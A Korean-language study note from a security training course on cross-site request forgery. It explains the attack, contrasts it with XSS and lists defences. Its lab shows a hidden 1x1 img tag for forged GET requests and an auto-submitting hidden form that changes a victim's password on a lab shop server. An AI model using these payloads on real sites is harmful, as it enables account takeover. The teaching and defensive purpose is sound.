CSRF
Cross Site Request Forgery
본 내용 및 실습 환경은 KISEC, 케이쉴드 주니어 교육 과정에 있음을 알려드립니다.
정의
크로스 사이트 요청 위조(Cross Site Request Forgery, CSRF)는 서버가 실제 서비스 페이지를 통한 정상요청인지 확인하지 않고 처리하는 경우 악의적인 스크립트를 이용하여 다른 사용자의 권한으로 중요기능 실행, 패스워드 변경 등의 공격을 할 수 있는 취약점이다.
즉, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 하는 공격을 말한다.
- CSRF 공격는 서버대상으로 이루어진다.
XSS와 CSRF의 차이점
-
XSS는 공격대상이 클라이언트이고, 스크립트 실행이 목적이다. 인증된 세션 없이 공격이 가능하다.
-
CSRF는 공격대상이 서버고, 특정 행위(패스워드 변경)가 목적이 된다. 반드시 인증된 사용자를 공격하므로, 인증된 세션이 필요하다는 차이가 있다.
실습
0. 실습 원리
가로 세로 크기가 1 또는 0인 img 태그를 삽입하면 사용자는 해당 이미지가 있는지 알 수가 없다.
HTML 문서를 먼저 주고받은 후에 사용자 측 브라우저에서 HTML 문서를 파싱하다가 img 태그를 화면에 출력하기 위해 src 속성의 공격자가 의도한 URL 요청을 보내는 원리이다.
1. GET 방식
게시물 이동 간에 GET 방식을 이용하여 이동하는 요청이 있다.
- 우리는 게시물에 스크립트를 작성하여 요청을 위조할 것이다.
<img src = "요청을 위조하고자 하는 사이트" width = "1" height = "1" />
위 내용을 게시물에 올리고 해당 게시물을 클릭하면 원래의 게시물이 보이는게 아닌 요청을 위조하고자 하는 사이트로 이동하게 될 것이다.
- 이것은 게시물을 클릭하고 Burp Suite로 캡쳐한 것이다.
- 게시물에 해당 요청이 아닌 GET 위조하고자 한 사이트로 변경 된 것을 알 수 있다.
2. POST 방식
이번에는 게시물 클릭 이후 자동으로 공격자가 원하는 패스워드를 변경하는 방식으로 실습을 해볼 것이다.
패스워드 변경할 때 어떤 방식의 패킷이 움직이는 지 볼 것이다.
- POST 방식의 페이지 요청 값과, 파라미터가 어떻게 이루어지는지 알 수 있다.
<iframe name="ifr"></iframe>
<form target="ifr" name = "frm" method="post"
action="http://10.200.165.9/demoshop/account/profile_edit_ok.asp">
<input type="hidden" name="user_id" value="test">
<input type="hidden" name="passwd" value="aa1122">
<input type="hidden" name="passwd_q" value="%C1%C1%BE%C6%C7%CF%B4%C2+%BB%F6%B1%F2%C0%BA%3F">
<input type="hidden" name="passwd_a" value="1">
<input type="hidden" name="Name" value="%C3%BB%C3%BB%C3%BB">
<input type="hidden" name="birth_yy" value="1911">
<input type="hidden" name="birth_mm" value="11">
<input type="hidden" name="birth_dd" value="11">
<input type="hidden" name="birth_gbn" value="1">
<input type="hidden" name="ismarry" value="1">
<input type="hidden" name="address" value="%5B520-150%5D%26%23160%3B%C0%FC%B3%B2%26%23160%3B%B3%AA%C1%D6%BD%C3%26%23160%3B%C3%BB%B5%BF%26%23160%3B+111">
<input type="hidden" name="tel1_2" value="1111">
<input type="hidden" name="tel1_3" value="1111">
<input type="hidden" name="whereTel1" value="1">
<input type="hidden" name="hp1" value="">
<input type="hidden" name="hp2" value="">
<input type="hidden" name="hp3" value="">
<input type="hidden" name="job" value="%B0%F8%B9%AB%BF%F8">
<input type="hidden" name="email" value="1111%40naver.com">
<input type="submit">
</form>
<script>
document.frm.submit();
</script>
- 모든 매개변수와 공격자가 원하는 정보를 수정해서 해당 스크립트를 저장해두면 해당 게시물을 클릭했을 때, 사용자가 원하는 요청을 위조하여 패스워드가 변경되는 것이다.
보안 대책
- 사용자가 요청한 내용이 위조된 요청인지 여부를 사용자 접근권한 정보가 포함된 토큰을 이용하여 세션정보에 포함된 토큰값과 요청에 포함된 토큰값의 비교를 통해 확인한다.
- CAPCHA를 이용하여 추가적인 인증을 한다.
- 사용자의 회원탈퇴, 정보수정에 비밀번호를 한번 더 요청한다.